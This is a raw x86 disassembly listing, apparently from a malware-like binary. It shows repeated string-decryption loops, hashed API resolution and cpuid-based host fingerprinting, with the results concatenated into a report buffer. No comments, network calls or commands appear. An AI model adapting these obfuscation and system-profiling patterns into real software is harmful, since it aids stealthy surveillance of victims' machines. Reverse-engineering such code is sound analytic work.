movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x425500
mov edi, edx
mov byte [edx], 0
mov byte [esi + 0x7f0], 0
mov dword [esi + 0xc8], 0x200
lea eax, [esi + 0xc8]
push eax
lea eax, [esi + 0x7f0]
push eax
push 5
call ebx
mov dword [esi + 0x1ec], 0x31da28ca
mov dword [esi + 0x1f0], 0x777a7a69
mov dword [esi + 0x1f4], 0x2709700b
mov word [esi + 0x1f8], 0xefc0
mov dword [esi + 0x1fa], 0
mov dword [esi + 0x744], 0
mov eax, dword [esi + 0x744]
cmp eax, 0x11
ja 0x4255c7
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x744]
mov ecx, dword [esi + 0x744]
movzx ecx, byte [esi + ecx + 0x1ec]
add eax, 0x2cbbc8ab
xor eax, ecx
mov dword [esi + 0xe8], eax
mov eax, dword [esi + 0xe8]
add al, 0xa9
mov ecx, dword [esi + 0x744]
mov byte [esi + ecx + 0x1ec], al
inc dword [esi + 0x744]
mov eax, dword [esi + 0x744]
cmp eax, 0x12
jb 0x425580
movzx eax, byte [esi + 0x1ec]
test al, al
je 0x4255eb
lea ecx, [esi + 0x1ed]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4255e0
mov byte [edi], 0
movzx eax, byte [esi + 0x7f0]
test al, al
je 0x42560b
lea ecx, [esi + 0x7f1]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x425600
mov byte [edi], 0
mov byte [esi + 0x534], 0
mov dword [esi + 0xc4], 0x10
lea eax, [esi + 0xc4]
lea ecx, [esi + 0x534]
push eax
push ecx
push 4
call ebx
mov dword [esi + 0x1ec], 0x552244a
mov dword [esi + 0x1f0], 0x162ce1f1
mov dword [esi + 0x1f4], 0x4b201a1f
mov byte [esi + 0x1f8], 0x64
mov dword [esi + 0x1f9], 0
mov dword [esi + 0x744], 0
mov eax, dword [esi + 0x744]
cmp eax, 0x10
ja 0x4256c7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x744]
mov ecx, dword [esi + 0x744]
movzx ecx, byte [esi + ecx + 0x1ec]
add eax, 0xb7ac0a6c
xor eax, ecx
mov dword [esi + 0xe8], eax
mov eax, dword [esi + 0xe8]
add al, 0xe4
mov ecx, dword [esi + 0x744]
mov byte [esi + ecx + 0x1ec], al
inc dword [esi + 0x744]
mov eax, dword [esi + 0x744]
cmp eax, 0x11
jb 0x425680
movzx eax, byte [esi + 0x1ec]
test al, al
je 0x4256eb
lea ecx, [esi + 0x1ed]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4256e0
mov byte [edi], 0
movzx eax, byte [esi + 0x534]
test al, al
je 0x42570b
lea ecx, [esi + 0x535]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x425700
mov byte [edi], 0
mov word [esi + 0x744], 0
push 0x9887397f
push dword [0x442dd4]
call fcn.004365c0
add esp, 8
lea ecx, [esi + 0x744]
push 0x56
mov ebx, ecx
push ecx
call eax
mov dword [esi + 0x1ec], 0xe5cad82a
mov dword [esi + 0x1f0], 0x96879d8f
mov dword [esi + 0x1f4], 0xcf999a8b
mov word [esi + 0x1f8], 0x37d0
mov dword [esi + 0x1fa], 0
mov dword [esi + 0x38], 0
mov eax, dword [esi + 0x38]
cmp eax, 0x11
ja 0x4257b8
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0x38]
movzx ecx, byte [esi + ecx + 0x1ec]
add eax, 0x65fb6847
xor eax, ecx
mov dword [esi + 0xe8], eax
mov eax, dword [esi + 0xe8]
add al, 0x9d
mov ecx, dword [esi + 0x38]
mov byte [esi + ecx + 0x1ec], al
inc dword [esi + 0x38]
mov eax, dword [esi + 0x38]
cmp eax, 0x12
jb 0x425780
movzx eax, byte [esi + 0x1ec]
test al, al
je 0x4257dd
lea ecx, [esi + 0x1ed]
mov edx, ebx
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4257d0
jmp 0x4257df
mov edx, ebx
mov byte [edi], 0
lea eax, [edi + 0x56]
mov dword [esi + 0x14], eax
xor eax, eax
mov dword [esi + 0xc], edi
jmp 0x42580b
mov byte [edi], bl
mov ecx, 1
add edx, 2
add eax, ecx
mov ecx, dword [esi + 0xc]
lea edi, [ecx + eax]
cmp eax, 0x55
jae 0x42588a
movzx ebx, word [edx]
test bx, bx
je 0x42588a
cmp bx, 0x7f
jbe 0x4257f0
mov dword [esi + 0x10], edx
mov edx, edi
not edx
add edx, dword [esi + 0x14]
movzx ecx, bx
cmp edx, 2
jb 0x425850
cmp ecx, 0x7ff
ja 0x425850
mov ecx, ebx
shr ecx, 6
add cl, 0xc0
mov byte [edi], cl
and bl, 0x3f
or bl, 0x80
mov byte [edi + 1], bl
mov ecx, 2
mov edx, dword [esi + 0x10]
jmp 0x4257f7
mov dword [esi + 0x30], ecx
xor ecx, ecx
cmp edx, 3
mov edx, dword [esi + 0x10]
jb 0x4257f7
mov ecx, dword [esi + 0x30]
shr ecx, 0xc
or cl, 0xe0
mov byte [edi], cl
mov ecx, dword [esi + 0x30]
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [edi + 1], cl
and bl, 0x3f
or bl, 0x80
mov byte [edi + 2], bl
mov ecx, 3
jmp 0x4257f7
mov byte [edi], 0
mov dword [esi + 0x1ec], 0x96f6fcde
mov dword [esi + 0x1f0], 0xf3bba9a6
mov dword [esi + 0x1f4], 0xa2a0b88a
mov word [esi + 0x1f8], 0x9ba3
mov byte [esi + 0x1fa], 0xda
mov word [esi + 0x1fb], 0
mov dword [esi + 0x38], 0
mov ecx, dword [esi + 0x38]
cmp ecx, 0x10
ja 0x425927
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x38]
mov edx, dword [esi + 0x38]
movzx edx, byte [esi + edx + 0x1ec]
lea edi, [ecx + edx]
add edi, 0x3151aa4e
add ecx, 0x3151aa4e
and ecx, edx
add ecx, ecx
sub edi, ecx
mov dword [esi + 0xe8], edi
mov ecx, dword [esi + 0xe8]
add cl, 0x7a
mov edx, dword [esi + 0x38]
mov byte [esi + edx + 0x1ec], cl
inc dword [esi + 0x38]
mov ecx, dword [esi + 0x38]
cmp ecx, 0x11
jb 0x4258e0
mov edi, dword [esi + 0xc]
add edi, eax
movzx eax, byte [esi + 0x1ec]
test al, al
je 0x42594b
lea ecx, [esi + 0x1ed]
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x425940
mov byte [edi], 0
call fcn.00428e20
xor edx, edx
test eax, eax
setne dl
mov ecx, eax
jmp dword [edx*4 + 0x43f994]
mov dword [esi + 0x1ec], 0x7367080a
mov dword [esi + 0x1f0], 0xd2d8da3a
mov byte [esi + 0x1f4], 0x68
mov dword [esi + 0x1f5], 0
mov dword [esi + 0x1f8], 0
mov dword [esi + 0x38], 0
mov eax, dword [esi + 0x38]
cmp eax, 0xf
ja 0x4259e8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0x38]
movzx ecx, byte [esi + ecx + 0x1ec]
add eax, 0xcd4703bc
xor eax, ecx
mov dword [esi + 0xe8], eax
mov eax, dword [esi + 0xe8]
add al, 0x54
mov ecx, dword [esi + 0x38]
mov byte [esi + ecx + 0x1ec], al
inc dword [esi + 0x38]
mov eax, dword [esi + 0x38]
cmp eax, 0x10
jb 0x4259b0
movzx eax, byte [esi + 0x1ec]
test al, al
je 0x425a0b
lea ecx, [esi + 0x1ed]
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x425a00
mov byte [edi], 0
jmp case.0x4252b8.13
mov ecx, dword [ecx]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x43f9b4]
mov dword [edi], 0x202d090a
add edi, 4
mov edx, dword [ecx + 8]
movzx ebx, byte [edx]
test bl, bl
je 0x425a5b
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x425a50
mov byte [edi], 0
xor edx, edx
cmp byte [ecx + 4], 3
setb dl
jmp dword [edx*4 + 0x43f99c]
mov byte [edi], 0x20
movzx edx, byte [ecx + 4]
xor ebx, ebx
test dl, dl
sete bl
jmp dword [ebx*4 + 0x43f9a4]
xor ebx, ebx
cmp dl, 1
sete bl
jmp dword [ebx*4 + 0x43f9ac]
mov dword [esi + 0x1ec], 0xd0d0dae1
mov dword [esi + 0x1f0], 0xc1cdd9d1
mov word [esi + 0x1f4], 0xfeb
mov dword [esi + 0x1f6], 0
mov ebx, edi
mov dword [esi + 0x18], 0
mov edx, dword [esi + 0x18]
cmp edx, 0xd
ja 0x425b04
nop
nop
nop
nop
nop
nop
mov edx, dword [esi + 0x18]
mov edi, dword [esi + 0x18]
movzx edi, byte [esi + edi + 0x1ec]
add edx, 0x1aa6c641
xor edx, edi
mov dword [esi + 0x6c], edx
mov edx, dword [esi + 0x6c]
add dl, 0xbb
mov edi, dword [esi + 0x18]
mov byte [esi + edi + 0x1ec], dl
inc dword [esi + 0x18]
mov edx, dword [esi + 0x18]
cmp edx, 0xe
jb 0x425ad0
lea edx, [esi + 0x1ec]
jmp case.0x41e1b5.393
mov ebx, edi
lea edx, [esi + 0xee]
mov dword [esi + 0xe8], 0x5f585641
mov word [esi + 0xec], 0xe347
mov word [edx + 4], 0
mov dword [edx], 0
mov dword [esi + 0x6c], 0
mov edx, dword [esi + 0x6c]
cmp edx, 0xb
ja 0x425b8a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esi + 0x6c]
mov edi, dword [esi + 0x6c]
movzx edi, byte [esi + edi + 0xe8]
add edx, 0xc657fd59
xor edx, edi
mov dword [esi + 0x1ec], edx
mov edx, dword [esi + 0x1ec]
add dl, 0x43
mov edi, dword [esi + 0x6c]
mov byte [esi + edi + 0xe8], dl
inc dword [esi + 0x6c]
mov edx, dword [esi + 0x6c]
cmp edx, 0xc
jb 0x425b50
lea edx, [esi + 0xe8]
jmp case.0x41e1b5.393
mov ebx, edi
lea edx, [esi + 0x3d]
mov dword [esi + 0x38], 0x1a080a19
mov byte [esi + 0x3c], 0xf8
mov byte [edx + 4], 0
mov dword [edx], 0
mov dword [esi + 0x6c], 0
mov edx, dword [esi + 0x6c]
cmp edx, 9
ja 0x425bf4
nop
nop
nop
nop
nop
mov edx, dword [esi + 0x6c]
mov edi, dword [esi + 0x6c]
movzx edi, byte [esi + edi + 0x38]
add edx, 0xecc8e6ab
xor edx, edi
mov dword [esi + 0x1ec], edx
mov edx, dword [esi + 0x1ec]
add dl, 0xa9
mov edi, dword [esi + 0x6c]
mov byte [esi + edi + 0x38], dl
inc dword [esi + 0x6c]
mov edx, dword [esi + 0x6c]
cmp edx, 0xa
jb 0x425bc0
lea edx, [esi + 0x38]
mov edi, ebx
inc edi
movzx ebx, byte [edx]
test bl, bl
je 0x425c1b
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x425c10
mov byte [edi], 0
mov ecx, dword [ecx]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x43f9b4]
jmp dword [0x43f9bc]
mov ecx, eax
mov ebx, edi
mov edi, eax
call fcn.0042a310
push edi
mov edi, ebx
call fcn.00408f70
add esp, 4
jmp case.0x4252b8.13
mov dword [esi + 0x1ec], 0xcbb2a48a
mov dword [esi + 0x1f0], 0xe5f2f4c3
mov word [esi + 0x1f4], 0xa988
mov dword [esi + 0x1f6], 0
mov word [esi + 0x1fa], 0
mov dword [esi + 0x38], 0
mov eax, dword [esi + 0x38]
cmp eax, 0xf
ja 0x425cc8
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0x38]
movzx ecx, byte [esi + ecx + 0x1ec]
add eax, 0xb5c3671c
xor eax, ecx
mov dword [esi + 0xe8], eax
mov eax, dword [esi + 0xe8]
add al, 0x74
mov ecx, dword [esi + 0x38]
mov byte [esi + ecx + 0x1ec], al
inc dword [esi + 0x38]
mov eax, dword [esi + 0x38]
cmp eax, 0x10
jb 0x425c90
movzx eax, byte [esi + 0x1ec]
test al, al
je 0x425ceb
lea ecx, [esi + 0x1ed]
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x425ce0
mov byte [edi], 0
movzx eax, byte [0x441a6c]
test al, al
je 0x425d11
xor ecx, ecx
nop
nop
nop
nop
nop
mov byte [edi + ecx], al
movzx eax, byte [ecx + 0x441a6d]
inc ecx
test al, al
jne 0x425d00
add edi, ecx
mov dword [esi + 0xc], edi
mov byte [edi], 0
mov dword [esi + 0xb4], 0
mov dword [esi + 0xb0], 0
push 0xd7ec7170
push dword [0x442dd4]
call fcn.004365c0
add esp, 8
lea ecx, [esi + 0xb0]
push ecx
call eax
mov eax, dword [esi + 0xb0]
mov ebx, dword [esi + 0xb4]
shld ebx, eax, 0x16
mov byte [esi + 0x1df], 0
je 0x425dae
lea edi, [esi + 0x1df]
cmp ebx, 0x64
jb 0x425dbd
nop
nop
nop
nop
nop
mov eax, ebx
mov ecx, 0x51eb851f
mul ecx
shr edx, 5
imul eax, edx, 0x64
mov ecx, ebx
sub ecx, eax
movzx eax, word [ecx + ecx + 0x43a318]
mov word [edi - 2], ax
add edi, 0xfffffffe
cmp ebx, 0x270f
mov ebx, edx
ja 0x425d70
cmp edx, 9
ja 0x425dc4
movzx eax, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [edi - 1], al
dec edi
jmp 0x425de9
lea edi, [esi + 0x1de]
mov byte [esi + 0x1de], 0x30
jmp 0x425de9
mov edx, ebx
cmp edx, 9
jbe 0x425da1
mov eax, edx
and eax, 0x7d
mov ecx, edx
and ecx, 2
or edx, 2
imul edx, ecx
xor ecx, 2
imul ecx, eax
movzx eax, word [ecx + edx + 0x43a318]
mov word [edi - 2], ax
add edi, 0xfffffffe
mov dword [esi + 0x6c], 0x7ebda3
mov dword [esi + 0xe8], 0
mov eax, dword [esi + 0xe8]
cmp eax, 3
ja 0x425e51
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0xe8]
mov ecx, dword [esi + 0xe8]
movzx ecx, byte [esi + ecx + 0x6c]
add eax, 0x50aad95
xor eax, ecx
mov dword [esi + 0x1ec], eax
mov eax, dword [esi + 0x1ec]
add al, 0x17
mov ecx, dword [esi + 0xe8]
mov byte [esi + ecx + 0x6c], al
inc dword [esi + 0xe8]
mov eax, dword [esi + 0xe8]
cmp eax, 4
jb 0x425e10
mov dword [esi + 0x1ec], 0xa19284fa
mov dword [esi + 0x1f0], 0xac9ea8bd
mov dword [esi + 0x1f4], 0x81574351
mov word [esi + 0x1f8], 0xc5a4
mov dword [esi + 0x1fa], 0
mov byte [esi + 0x1fe], 0
mov dword [esi + 0x38], 0
mov eax, dword [esi + 0x38]
cmp eax, 0x12
ja 0x425ed8
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0x38]
movzx ecx, byte [esi + ecx + 0x1ec]
add eax, 0xc22872d4
xor eax, ecx
mov dword [esi + 0xe8], eax
mov eax, dword [esi + 0xe8]
add al, 0xdc
mov ecx, dword [esi + 0x38]
mov byte [esi + ecx + 0x1ec], al
inc dword [esi + 0x38]
mov eax, dword [esi + 0x38]
cmp eax, 0x13
jb 0x425ea0
movzx eax, byte [esi + 0x1ec]
test al, al
je 0x425efd
lea ecx, [esi + 0x1ed]
mov edx, dword [esi + 0xc]
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x425ef0
jmp 0x425f00
mov edx, dword [esi + 0xc]
mov ecx, edx
mov byte [edx], 0
movzx eax, byte [edi]
test al, al
je 0x425f1b
inc edi
nop
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x425f10
mov byte [ecx], 0
movzx eax, byte [esi + 0x6c]
test al, al
mov edi, ecx
je 0x425f3b
lea ecx, [esi + 0x6d]
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x425f30
xor eax, eax
xor ecx, ecx
cpuid
mov dword [esi + 0x1c4], ebx
mov dword [esi + 0x1c8], edx
mov byte [edi], 0
mov dword [esi + 0x1cc], ecx
mov byte [esi + 0x1d0], 0
mov dword [esi + 0x1ec], 0x142e2046
mov dword [esi + 0x1f0], 0x3320400
mov dword [esi + 0x1f4], 0xe8f2f9f3
mov dword [esi + 0x1f8], 0x5d3a21ea
mov word [esi + 0x1fc], 0
mov byte [esi + 0x1fe], 0
mov dword [esi + 0x38], 0
mov eax, dword [esi + 0x38]
cmp eax, 0x12
ja 0x425ff2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0x38]
movzx ecx, byte [esi + ecx + 0x1ec]
add eax, 0x41948a6d
xor eax, ecx
mov dword [esi + 0xe8], eax
mov eax, dword [esi + 0xe8]
mov ecx, eax
xor ecx, 0x21
and eax, 0x5e
add eax, eax
sub eax, ecx
mov ecx, dword [esi + 0x38]
mov byte [esi + ecx + 0x1ec], al
inc dword [esi + 0x38]
mov eax, dword [esi + 0x38]
cmp eax, 0x13
jb 0x425fb0
movzx eax, byte [esi + 0x1ec]
test al, al
je 0x42601b
lea ecx, [esi + 0x1ed]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x426010
mov byte [edi], 0
movzx eax, byte [esi + 0x1c4]
test al, al
je 0x42603b
lea ecx, [esi + 0x1c5]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x426030
mov dword [esi + 0xc], edi
mov byte [edi], 0
mov eax, reloc.OLEAUT32.dll_SysReAllocString
xor ecx, ecx
cpuid
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], edx
mov eax, SysStringLen
mov ecx, 0
cpuid
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x50], ecx
mov dword [esi + 0x54], edx
mov eax, SysStringLen
mov ecx, 0
cpuid
mov dword [esi + 0x58], eax
mov dword [esi + 0x5c], ebx
mov dword [esi + 0x60], ecx
mov dword [esi + 0x64], edx
lea edx, [esi + 0x9c]
lea eax, [esi + 0x6c]
lea ebx, [esi + 0x38]
mov ecx, 0xc
mov edi, eax
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
lea ebx, [esi + 0x68]
mov edi, edx
xor ecx, ecx
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov ecx, edx
dec ecx
xor ebx, ebx
cmp byte [edx - 1], 0x20
sete bl
jmp dword [ebx*4 + 0x43f9c4]
mov byte [ecx], 0
xor edx, edx
cmp byte [ecx - 1], 0x20
lea ecx, [ecx - 1]
sete dl
jmp dword [edx*4 + 0x43f9c4]
xor ecx, ecx
cmp byte [eax], 0x20
sete cl
jmp dword [ecx*4 + 0x43f9cc]
inc eax
xor ecx, ecx
cmp byte [eax], 0x20
sete cl
jmp dword [ecx*4 + 0x43f9cc]
mov dword [esi + 0x1ec], 0x60027c1a
mov dword [esi + 0x1f0], 0x59065054
mov dword [esi + 0x1f4], 0x113fc439
mov dword [esi + 0x1f8], 0x5d7c
mov dword [esi + 0x18], 0
mov ecx, dword [esi + 0x18]
cmp ecx, 0xf
ja 0x426183
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x18]
movzx edx, byte [esi + edx + 0x1ec]
lea edi, [ecx + 0x38]
add ecx, edx
and edi, edx
add edi, edi
sub ecx, edi
add ecx, 0x70bd8238
mov dword [esi + 0xe8], ecx
mov ecx, dword [esi + 0xe8]
add cl, 0xe8
mov edx, dword [esi + 0x18]
mov byte [esi + edx + 0x1ec], cl
inc dword [esi + 0x18]
mov ecx, dword [esi + 0x18]
cmp ecx, 0x10
jb 0x426140
movzx ecx, byte [esi + 0x1ec]
test cl, cl
je 0x4261ad
lea edx, [esi + 0x1ed]
mov edi, dword [esi + 0xc]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x4261a0
jmp 0x4261b0
mov edi, dword [esi + 0xc]
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x4261cc
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax + 1]
inc eax
test cl, cl
jne 0x4261c0
mov byte [edi], 0
mov dword [esi + 0xc], edi
mov dword [esi + 0xe8], 0xe0e7e6e5
mov word [esi + 0xec], 0
mov dword [esi + 0xa4], 0
mov eax, dword [esi + 0xa4]
cmp eax, 5
ja 0x426241
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0xa4]
mov ecx, dword [esi + 0xa4]
movzx ecx, byte [esi + ecx + 0xe8]
add eax, 0x11c40b59
xor eax, ecx
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x18]
add al, 0x43
mov ecx, dword [esi + 0xa4]
mov byte [esi + ecx + 0xe8], al
inc dword [esi + 0xa4]
mov eax, dword [esi + 0xa4]
cmp eax, 6
jb 0x426200
mov eax, dword [esi + 0xe8]
mov ecx, dword [0x442de0]
test ecx, ecx
je case.default.0x42629b
xor edx, edx
mov edi, dword [0x442de4]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0xcecd21fd
je 0x426270
inc edx
cmp ecx, edx
jne 0x426260
jmp case.default.0x42629b
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je case.default.0x42629b
lea eax, [esi + 0x1ec]
push 0
push 0x2c
push eax
push 0
push 4
push dword [0x442de8]
push ecx
call fcn.00435090
add esp, 0x1c
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x43f9d4]
mov dword [esi + 0x14], 0
mov eax, 0xb
xor ecx, ecx
cpuid
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x100
sete al
jmp dword [eax*4 + 0x43f9dc]
mov eax, 0xb
xor ecx, ecx
cpuid
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x100
movzx ecx, byte [esi + 0x214]
mov dword [esi + 0x14], ecx
sete al
jmp dword [eax*4 + 0x43f9dc]
mov eax, 0xb
mov ecx, 1
cpuid
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x100
sete al
jmp dword [eax*4 + 0x43f9e4]
movzx eax, byte [esi + 0x14]
mov dword [esi + 0x10], eax
xor eax, eax
xor ecx, ecx
cpuid
cmp eax, 4
jl 0x426429
mov eax, 4
xor ecx, ecx
cpuid
jmp 0x4263e7
mov dword [esi + 0x30], ebx
mov eax, 0xb
xor ecx, ecx
cpuid
mov dword [esi + 0x10], ebx
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x200
sete al
jmp dword [eax*4 + 0x43f9ec]
mov eax, 0xb
mov ecx, 1
cpuid
mov dword [esi + 0x10], ebx
sar ecx, 8
mov eax, ecx
not eax
or eax, 0xff
add eax, ecx
xor ecx, ecx
cmp eax, 1
sete cl
jmp dword [ecx*4 + 0x43f9f4]
movzx eax, byte [esi + 0x14]
mov dword [esi + 0x10], eax
xor eax, eax
xor ecx, ecx
cpuid
cmp eax, 4
jl 0x42645f
mov eax, 4
xor ecx, ecx
cpuid
jmp 0x4263e7
xor eax, eax
mov ecx, dword [esi + 0x30]
test cx, cx
sete al
jmp dword [eax*4 + 0x43f9fc]
mov eax, dword [esi + 0x10]
xor edx, edx
div cx
movzx eax, ax
jmp case.0x41e1b5.422
xor eax, eax
xor ecx, ecx
cpuid
cmp eax, 4
jl 0x4263ef
mov eax, 4
xor ecx, ecx
cpuid
sar eax, 0x1a
jmp 0x426496
mov eax, SysReAllocString
xor ecx, ecx
cpuid
mov dword [esi + 0x14], eax
mov eax, 1
xor ecx, ecx
cpuid
mov eax, 1
test edx, 0x10000000
je case.0x41e1b5.422
cmp dword [esi + 0x14], reloc.OLEAUT32.dll_VariantClear
jl case.0x41e1b5.422
mov eax, reloc.OLEAUT32.dll_VariantClear
xor ecx, ecx
cpuid
jmp 0x426493
mov eax, SysReAllocString
xor ecx, ecx
cpuid
mov dword [esi + 0x14], eax
mov eax, 1
xor ecx, ecx
cpuid
mov eax, 1
test edx, 0x10000000
je case.0x41e1b5.422
cmp dword [esi + 0x14], reloc.OLEAUT32.dll_VariantClear
jl case.0x41e1b5.422
mov eax, reloc.OLEAUT32.dll_VariantClear
xor ecx, ecx
cpuid
jmp 0x426493
mov eax, SysReAllocString
xor ecx, ecx
cpuid
mov dword [esi + 0x14], eax
mov eax, 1
xor ecx, ecx
cpuid
mov eax, 1
test edx, 0x10000000
je case.0x41e1b5.422
cmp dword [esi + 0x14], reloc.OLEAUT32.dll_VariantClear
jl case.0x41e1b5.422
mov eax, reloc.OLEAUT32.dll_VariantClear
xor ecx, ecx
cpuid
movzx eax, cl
inc eax
mov byte [esi + 0x37], 0
mov edx, dword [esi + 0x10]
test dx, dx
je 0x4264fa
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x37]
cmp dx, 0x64
mov edi, edx
jb 0x426503
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, di
mov edx, ebx
shr edx, 2
imul edx, edx, 0x147b
shr edx, 0x11
mov eax, ecx
mov ecx, edi
imul edi, edx, 0x64
sub ecx, edi
movzx edi, cx
mov ecx, eax
movzx edi, word [edi + edi + 0x43a318]
mov word [eax - 2], di
add ecx, 0xfffffffe
mov edi, edx
cmp ebx, 0x270f
ja 0x4264c0
jmp 0x426505
lea ecx, [esi + 0x36]
mov byte [esi + 0x36], 0x30
jmp 0x42652d
mov edx, edi
movzx edx, dx
cmp dx, 9
ja 0x42651b
movzx edx, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [ecx - 1], dl
dec ecx
jmp 0x42652a
movzx edx, word [edx + edx + 0x43a318]
mov word [ecx - 2], dx
add ecx, 0xfffffffe
mov eax, dword [esi + 0x14]
mov dword [esi + 0x1ec], 0xd4eaf89a
mov dword [esi + 0x1f0], 0x29e62cd8
mov dword [esi + 0x1f4], 0x3e390d3c
mov dword [esi + 0x1f8], 0xfdd8123c
mov byte [esi + 0x1fc], 0x9c
mov dword [esi + 0x1fd], 0
mov byte [esi + 0x201], 0
mov dword [esi + 0x18], 0
mov edx, dword [esi + 0x18]
cmp edx, 0x15
ja 0x4265ca
nop
nop
nop
nop
mov edx, dword [esi + 0x18]
mov edi, dword [esi + 0x18]
movzx edi, byte [esi + edi + 0x1ec]
lea ebx, [edx + edi]
add ebx, 0x8c970223
add edx, 0x8c970223
not edi
or edx, edi
sub edi, edx
lea edx, [ebx + edi*2]
mov dword [esi + 0xe8], edx
mov edx, dword [esi + 0xe8]
add dl, 0x51
mov edi, dword [esi + 0x18]
mov byte [esi + edi + 0x1ec], dl
inc dword [esi + 0x18]
mov edx, dword [esi + 0x18]
cmp edx, 0x16
jb 0x426580
movzx edx, byte [esi + 0x1ec]
test dl, dl
je 0x4265ed
lea edi, [esi + 0x1ed]
mov ebx, dword [esi + 0xc]
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [edi]
inc edi
test dl, dl
jne 0x4265e0
jmp 0x4265f0
mov ebx, dword [esi + 0xc]
mov byte [ebx], 0
movzx edx, byte [ecx]
test dl, dl
mov edi, ebx
je 0x42660b
inc ecx
nop
nop
nop
mov byte [edi], dl
inc edi
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x426600
mov byte [edi], 0
mov byte [esi + 0x37], 0
test al, al
je 0x426641
movzx ecx, al
cmp al, 0x64
jb 0x42664a
lea edx, [ecx + ecx*4]
lea ecx, [ecx + edx*8]
shr ecx, 0xc
imul edx, ecx, 0x64
sub al, dl
movzx eax, al
movzx eax, word [eax + eax + 0x43a318]
mov word [esi + 0x35], ax
mov edx, 0xfffffffd
jmp 0x426653
lea eax, [esi + 0x36]
mov byte [esi + 0x36], 0x30
jmp 0x426675
mov edx, 0xffffffff
cmp al, 9
ja 0x426666
lea eax, [esi + 0x38]
movzx ecx, byte [ecx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
add eax, edx
dec eax
mov byte [esi + edx + 0x37], cl
jmp 0x426675
movzx ecx, word [ecx + ecx + 0x43a318]
lea eax, [esi + 0x35]
mov word [esi + 0x35], cx
mov dword [esi + 0x1ec], 0x68160c2e
mov dword [esi + 0x1f0], 0x6c125864
mov dword [esi + 0x1f4], 0xc033bf43
mov word [esi + 0x1f8], 0x6d0a
mov byte [esi + 0x1fa], 0x4a
mov dword [esi + 0x1fb], 0
mov dword [esi + 0x18], 0
